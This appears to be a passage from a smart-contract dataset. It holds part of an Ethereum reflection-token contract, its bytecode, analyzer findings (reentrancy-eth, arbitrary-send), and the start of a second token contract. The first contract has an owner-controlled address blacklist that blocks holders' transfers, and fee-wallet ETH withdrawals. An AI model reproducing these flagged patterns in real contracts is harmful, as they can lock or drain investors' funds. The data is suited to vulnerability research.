IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
_transferStandard(sender, recipient, amount);
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612ddd565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612923565b61045e565b6040516101789190612dc2565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190612f5f565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce91906128d4565b610490565b6040516101e09190612dc2565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612846565b610569565b005b34801561021e57600080fd5b50610227610659565b6040516102349190612fd4565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f91906129a0565b610662565b005b34801561027257600080fd5b5061027b610714565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612846565b610786565b6040516102b19190612f5f565b60405180910390f35b3480156102c657600080fd5b506102cf6107d7565b005b3480156102dd57600080fd5b506102e661092a565b6040516102f39190612cf4565b60405180910390f35b34801561030857600080fd5b50610311610953565b60405161031e9190612ddd565b60405180910390f35b34801561033357600080fd5b5061034e60048036038101906103499190612923565b610990565b60405161035b9190612dc2565b60405180910390f35b34801561037057600080fd5b5061038b6004803603810190610386919061295f565b6109ae565b005b34801561039957600080fd5b506103a2610afe565b005b3480156103b057600080fd5b506103b9610b78565b005b3480156103c757600080fd5b506103e260048036038101906103dd91906129f2565b6110da565b005b3480156103f057600080fd5b5061040b60048036038101906104069190612898565b611226565b6040516104189190612f5f565b60405180910390f35b60606040518060400160405280600a81526020017f4269674269726444616f00000000000000000000000000000000000000000000815250905090565b600061047261046b6112ad565b84846112b5565b6001905092915050565b60006b033b2e3c9fd0803ce8000000905090565b600061049d848484611480565b61055e846104a96112ad565b6105598560405180606001604052806028815260200161366f60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050f6112ad565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b389092919063ffffffff16565b6112b5565b600190509392505050565b6105716112ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f590612ebf565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006012905090565b61066a6112ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106ee90612ebf565b60405180910390fd5b80601160176101000a81548160ff02191690831515021790555050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107556112ad565b73ffffffffffffffffffffffffffffffffffffffff161461077557600080fd5b600047905061078381611b9c565b50565b60006107d0600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c97565b9050919050565b6107df6112ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461086c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086390612ebf565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600381526020017f4242440000000000000000000000000000000000000000000000000000000000815250905090565b60006109a461099d6112ad565b8484611480565b6001905092915050565b6109b66112ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a43576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3a90612ebf565b60405180910390fd5b60005b8151811015610afa57600160066000848481518110610a8e577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610af290613275565b915050610a46565b5050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b3f6112ad565b73ffffffffffffffffffffffffffffffffffffffff1614610b5f57600080fd5b6000610b6a30610786565b9050610b7581611d05565b50565b610b806112ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c0d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0490612ebf565b60405180910390fd5b601160149054906101000a900460ff1615610c5d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5490612f3f565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cf030601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166b033b2e3c9fd0803ce80000006112b5565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d3657600080fd5b505afa158015610d4a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d6e919061286f565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dd057600080fd5b505afa158015610de4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e08919061286f565b6040518363ffffffff1660e01b8152600401610e25929190612d0f565b602060405180830381600087803b158015610e3f57600080fd5b505af1158015610e53573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e77919061286f565b601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610f0030610786565b600080610f0b61092a565b426040518863ffffffff1660e01b8152600401610f2d96959493929190612d61565b6060604051808303818588803b158015610f4657600080fd5b505af1158015610f5a573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f7f9190612a1b565b5050506001601160166101000a81548160ff0219169083151502179055506001601160176101000a81548160ff0219169083151502179055506a18d0bf423c03d8de0000006012819055506001601160146101000a81548160ff021916908315150217905550601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611084929190612d38565b602060405180830381600087803b15801561109e57600080fd5b505af11580156110b2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110d691906129c9565b5050565b6110e26112ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461116f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161116690612ebf565b60405180910390fd5b600081116111b2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a990612e7f565b60405180910390fd5b6111e460646111d6836b033b2e3c9fd0803ce8000000611fff90919063ffffffff16565b61207a90919063ffffffff16565b6012819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60125460405161121b9190612f5f565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611325576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131c90612f1f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611395576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138c90612e3f565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114739190612f5f565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114e790612eff565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611560576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161155790612dff565b60405180910390fd5b600081116115a3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161159a90612edf565b60405180910390fd5b6006600a819055506006600b819055506115bb61092a565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561162957506115f961092a565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611a7557600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156116d25750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6116db57600080fd5b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156117865750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156117dc5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156117f45750601160179054906101000a900460ff165b156118a45760125481111561180857600080fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061185357600080fd5b601e426118609190613095565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614801561194f5750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156119a55750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156119bb576006600a819055506006600b819055505b60006119c630610786565b9050601160159054906101000a900460ff16158015611a335750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611a4b5750601160169054906101000a900460ff165b15611a7357611a5981611d05565b60004790506000811115611a7157611a7047611b9c565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611b1c5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611b2657600090505b611b32848484846120c4565b50505050565b6000838311158290611b80576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b779190612ddd565b60405180910390fd5b5060008385611b8f9190613176565b9050809150509392505050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611bec60028461207a90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611c17573d6000803e3d6000fd5b50600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611c6860028461207a90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611c93573d6000803e3d6000fd5b5050565b6000600854821115611cde576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cd590612e1f565b60405180910390fd5b6000611ce86120f1565b9050611cfd818461207a90919063ffffffff16565b915050919050565b6001601160156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611d63577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611d915781602001602082028036833780820191505090505b5090503081600081518110611dcf577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611e7157600080fd5b505afa158015611e85573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611ea9919061286f565b81600181518110611ee3577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611f4a30601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112b5565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611fae959493929190612f7a565b600060405180830381600087803b158015611fc857600080fd5b505af1158015611fdc573d6000803e3d6000fd5b50505050506000601160156101000a81548160ff02191690831515021790555050565b6000808314156120125760009050612074565b60008284612020919061311c565b905082848261202f91906130eb565b1461206f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161206690612e9f565b60405180910390fd5b809150505b92915050565b60006120bc83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061211c565b905092915050565b806120d2576120d161217f565b5b6120dd8484846121c2565b806120eb576120ea61238d565b5b50505050565b60008060006120fe6123a1565b91509150612115818361207a90919063ffffffff16565b9250505090565b60008083118290612163576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161215a9190612ddd565b60405180910390fd5b506000838561217291906130eb565b9050809150509392505050565b6000600a5414801561219357506000600b54145b1561219d576121c0565b600a54600c81905550600b54600d819055506000600a819055506000600b819055505b565b6000806000806000806121d48761240c565b95509550955095509550955061223286600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461247490919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506122c785600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124be90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123138161251c565b61231d84836125d9565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161237a9190612f5f565b60405180910390a3505050505050505050565b600c54600a81905550600d54600b81905550565b6000806000600854905060006b033b2e3c9fd0803ce800000090506123dd6b033b2e3c9fd0803ce800000060085461207a90919063ffffffff16565b8210156123ff576008546b033b2e3c9fd0803ce8000000935093505050612408565b81819350935050505b9091565b60008060008060008060008060006124298a600a54600b54612613565b92509250925060006124396120f1565b9050600080600061244c8e8787876126a9565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006124b683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611b38565b905092915050565b60008082846124cd9190613095565b905083811015612512576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161250990612e5f565b60405180910390fd5b8091505092915050565b60006125266120f1565b9050600061253d8284611fff90919063ffffffff16565b905061259181600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124be90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6125ee8260085461247490919063ffffffff16565b600881905550612609816009546124be90919063ffffffff16565b6009819055505050565b60008060008061263f6064612631888a611fff90919063ffffffff16565b61207a90919063ffffffff16565b90506000612669606461265b888b611fff90919063ffffffff16565b61207a90919063ffffffff16565b9050600061269282612684858c61247490919063ffffffff16565b61247490919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806126c28589611fff90919063ffffffff16565b905060006126d98689611fff90919063ffffffff16565b905060006126f08789611fff90919063ffffffff16565b905060006127198261270b858761247490919063ffffffff16565b61247490919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061274561274084613014565b612fef565b9050808382526020820190508285602086028201111561276457600080fd5b60005b85811015612794578161277a888261279e565b845260208401935060208301925050600181019050612767565b5050509392505050565b6000813590506127ad81613629565b92915050565b6000815190506127c281613629565b92915050565b600082601f8301126127d957600080fd5b81356127e9848260208601612732565b91505092915050565b60008135905061280181613640565b92915050565b60008151905061281681613640565b92915050565b60008135905061282b81613657565b92915050565b60008151905061284081613657565b92915050565b60006020828403121561285857600080fd5b60006128668482850161279e565b91505092915050565b60006020828403121561288157600080fd5b600061288f848285016127b3565b91505092915050565b600080604083850312156128ab57600080fd5b60006128b98582860161279e565b92505060206128ca8582860161279e565b9150509250929050565b6000806000606084860312156128e957600080fd5b60006128f78682870161279e565b93505060206129088682870161279e565b92505060406129198682870161281c565b9150509250925092565b6000806040838503121561293657600080fd5b60006129448582860161279e565b92505060206129558582860161281c565b9150509250929050565b60006020828403121561297157600080fd5b600082013567ffffffffffffffff81111561298b57600080fd5b612997848285016127c8565b91505092915050565b6000602082840312156129b257600080fd5b60006129c0848285016127f2565b91505092915050565b6000602082840312156129db57600080fd5b60006129e984828501612807565b91505092915050565b600060208284031215612a0457600080fd5b6000612a128482850161281c565b91505092915050565b600080600060608486031215612a3057600080fd5b6000612a3e86828701612831565b9350506020612a4f86828701612831565b9250506040612a6086828701612831565b9150509250925092565b6000612a768383612a82565b60208301905092915050565b612a8b816131aa565b82525050565b612a9a816131aa565b82525050565b6000612aab82613050565b612ab58185613073565b9350612ac083613040565b8060005b83811015612af1578151612ad88882612a6a565b9750612ae383613066565b925050600181019050612ac4565b5085935050505092915050565b612b07816131bc565b82525050565b612b16816131ff565b82525050565b6000612b278261305b565b612b318185613084565b9350612b41818560208601613211565b612b4a8161334b565b840191505092915050565b6000612b62602383613084565b9150612b6d8261335c565b604082019050919050565b6000612b85602a83613084565b9150612b90826133ab565b604082019050919050565b6000612ba8602283613084565b9150612bb3826133fa565b604082019050919050565b6000612bcb601b83613084565b9150612bd682613449565b602082019050919050565b6000612bee601d83613084565b9150612bf982613472565b602082019050919050565b6000612c11602183613084565b9150612c1c8261349b565b604082019050919050565b6000612c34602083613084565b9150612c3f826134ea565b602082019050919050565b6000612c57602983613084565b9150612c6282613513565b604082019050919050565b6000612c7a602583613084565b9150612c8582613562565b604082019050919050565b6000612c9d602483613084565b9150612ca8826135b1565b604082019050919050565b6000612cc0601783613084565b9150612ccb82613600565b602082019050919050565b612cdf816131e8565b82525050565b612cee816131f2565b82525050565b6000602082019050612d096000830184612a91565b92915050565b6000604082019050612d246000830185612a91565b612d316020830184612a91565b9392505050565b6000604082019050612d4d6000830185612a91565b612d5a6020830184612cd6565b9392505050565b600060c082019050612d766000830189612a91565b612d836020830188612cd6565b612d906040830187612b0d565b612d9d6060830186612b0d565b612daa6080830185612a91565b612db760a0830184612cd6565b979650505050505050565b6000602082019050612dd76000830184612afe565b92915050565b60006020820190508181036000830152612df78184612b1c565b905092915050565b60006020820190508181036000830152612e1881612b55565b9050919050565b60006020820190508181036000830152612e3881612b78565b9050919050565b60006020820190508181036000830152612e5881612b9b565b9050919050565b60006020820190508181036000830152612e7881612bbe565b9050919050565b60006020820190508181036000830152612e9881612be1565b9050919050565b60006020820190508181036000830152612eb881612c04565b9050919050565b60006020820190508181036000830152612ed881612c27565b9050919050565b60006020820190508181036000830152612ef881612c4a565b9050919050565b60006020820190508181036000830152612f1881612c6d565b9050919050565b60006020820190508181036000830152612f3881612c90565b9050919050565b60006020820190508181036000830152612f5881612cb3565b9050919050565b6000602082019050612f746000830184612cd6565b92915050565b600060a082019050612f8f6000830188612cd6565b612f9c6020830187612b0d565b8181036040830152612fae8186612aa0565b9050612fbd6060830185612a91565b612fca6080830184612cd6565b9695505050505050565b6000602082019050612fe96000830184612ce5565b92915050565b6000612ff961300a565b90506130058282613244565b919050565b6000604051905090565b600067ffffffffffffffff82111561302f5761302e61331c565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006130a0826131e8565b91506130ab836131e8565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156130e0576130df6132be565b5b828201905092915050565b60006130f6826131e8565b9150613101836131e8565b925082613111576131106132ed565b5b828204905092915050565b6000613127826131e8565b9150613132836131e8565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561316b5761316a6132be565b5b828202905092915050565b6000613181826131e8565b915061318c836131e8565b92508282101561319f5761319e6132be565b5b828203905092915050565b60006131b5826131c8565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061320a826131e8565b9050919050565b60005b8381101561322f578082015181840152602081019050613214565b8381111561323e576000848401525b50505050565b61324d8261334b565b810181811067ffffffffffffffff8211171561326c5761326b61331c565b5b80604052505050565b6000613280826131e8565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156132b3576132b26132be565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b613632816131aa565b811461363d57600080fd5b50565b613649816131bc565b811461365457600080fd5b50565b613660816131e8565b811461366b57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220507fc6535086498ff39c400e80a03d5b2f5b35b630d89cf8f6badb29ef678b5f64736f6c63430008030033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 4,267 |
0x0e0b6ab810b026812150355ae1f1f071497a034e
|
/**
*Submitted for verification at Etherscan.io on 2021-10-22
*/
/**
* TELEGRAM t.me/KamehamehaTokenERC20
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
address constant TAX_ADDRESS=0xEF6A09A6248182f6568818b4972E55CE5f417Cd0;
address constant WALLET_ADDRESS = 0x841729Ec45A1Fd01EAB0E411b66A4dA63E9F063F;
address constant ROUTER_ADDRESS=0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
uint256 constant TOTAL_SUPPLY = 100000000;
string constant TOKEN_NAME = "Kamehameha";
string constant TOKEN_SYMBOL = "Kamehameha";
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface Oracle{
function amount() external view returns (uint256);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
